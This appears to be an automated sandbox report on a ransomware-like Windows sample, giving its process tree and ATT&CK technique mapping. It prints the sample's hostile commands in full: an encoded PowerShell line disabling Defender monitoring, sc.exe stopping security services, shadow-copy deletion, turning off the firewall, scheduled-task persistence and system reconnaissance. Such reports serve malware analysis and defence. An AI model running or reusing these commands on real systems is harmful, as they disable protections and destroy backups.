PID 2588 wrote to memory of 5660	2588	net.exe	162
PID 240 wrote to memory of 3300	240	libecch.io_chrome.exe	150
PID 240 wrote to memory of 5500	240	libecch.io_chrome.exe	152
PID 240 wrote to memory of 2684	240	libecch.io_chrome.exe	153
PID 240 wrote to memory of 3432	240	libecch.io_chrome.exe	154
PID 240 wrote to memory of 2180	240	libecch.io_chrome.exe	155
PID 240 wrote to memory of 2828	240	libecch.io_chrome.exe	156
PID 240 wrote to memory of 4268	240	libecch.io_chrome.exe	157
PID 240 wrote to memory of 4272	240	libecch.io_chrome.exe	158
PID 240 wrote to memory of 5832	240	libecch.io_chrome.exe	159
PID 240 wrote to memory of 1252	240	libecch.io_chrome.exe	165
PID 240 wrote to memory of 1708	240	libecch.io_chrome.exe	166
PID 2684 wrote to memory of 4256	2684	cmd.exe	171
PID 5500 wrote to memory of 5740	5500	cmd.exe	172
PID 3432 wrote to memory of 324	3432	cmd.exe	173
PID 4268 wrote to memory of 3620	4268	cmd.exe	185
PID 2828 wrote to memory of 2460	2828	cmd.exe	175
PID 2180 wrote to memory of 5424	2180	cmd.exe	176
PID 5424 wrote to memory of 5028	5424	net.exe	177
PID 3300 wrote to memory of 3676	3300	cmd.exe	178
PID 3300 wrote to memory of 1224	3300	cmd.exe	189
PID 5460 wrote to memory of 3480	5460	chrome.exe	180
PID 5460 wrote to memory of 988	5460	chrome.exe	181
PID 5460 wrote to memory of 4324	5460	chrome.exe	182
PID 5460 wrote to memory of 988	5460	chrome.exe	181
PID 5460 wrote to memory of 4324	5460	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://libecch.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc7785c728,0x7ffc7785c734,0x7ffc7785c740
    3⤵
    PID:3712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,12208331196427742349,15864613048946194011,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1628,i,12456576568206152609,10652219905505759094,262144 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=2416 /prefetch:2
    3⤵
    PID:2464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2024,i,5434815419445580584,6805412037277104738,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:13
    3⤵
    PID:4648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3056,i,1773796218123481328,15647526478448225450,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:1
    3⤵
    PID:1080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,13980574427661463427,7424640716507638761,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    PID:3408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4688,i,12169445618564920039,9301651727445170098,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:14
    3⤵
    PID:3676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4856,i,18294645984721298162,10928380579987010168,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:1
    3⤵
    PID:2576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4792,i,17534829143753918638,12200103016639488762,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:14
    3⤵
    PID:3480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3396,i,4737710553276162110,1657695989405232820,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:1
    3⤵
    PID:988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4820,i,14903572955512840940,4430981059018015652,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=3372 /prefetch:1
    3⤵
    PID:4324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5772,i,13709069625467541951,2994493153247193527,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
    3⤵
    PID:3620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5648,i,460805146654997073,12310388168856144605,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:1
    3⤵
    PID:6128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3920,i,8651295809737416294,7483450547971552206,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:1
    3⤵
    PID:5844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3412,i,7370415244497171228,289290670857363132,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:1
    3⤵
    PID:5708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,953373341628913610,860514159242047715,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=3368 /prefetch:14
    3⤵
    PID:1224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3228,i,1160247905008960222,2200257508405486921,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:1
    3⤵
    PID:2292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6116,i,16907802620288254304,7103405926979979506,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:1
    3⤵
    PID:3272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6076,i,2016158915421012757,8517620340377099881,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:14
    3⤵
    PID:6100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5732,i,6025825863466102114,6496504347152794340,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:1
    3⤵
    PID:1680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5712,i,15649127607902473406,16703413272000617107,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:1
    3⤵
    PID:3348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5004,i,2233060461623459381,12886649668257497787,2097152 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:9
    3⤵
    PID:2412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4888,i,11301750876705151373,274130372386053315,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:14
    3⤵
    PID:5672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5808,i,18436868534084377561,3168474145472963509,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:14
    3⤵
    PID:2368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,7885155761570988969,15763858392218845028,524288 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:14
    3⤵
    PID:5580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6196,i,8813233264614054375,567549911727358536,262144 --field-trial-handle=2420,i,9614661308729485200,8158446123636342070,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:10
    3⤵
    PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2240
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1912
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4668
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5052
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe"
    3⤵
    PID:2136
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4300
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2580
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5740
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4876
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2608
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1228
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1232
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4964
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4716
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5660
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3676
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5500
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5660
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5028
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3620
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5832
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1708

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2996

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4592

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
1⤵
PID:4604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4232

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
1⤵
PID:5896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery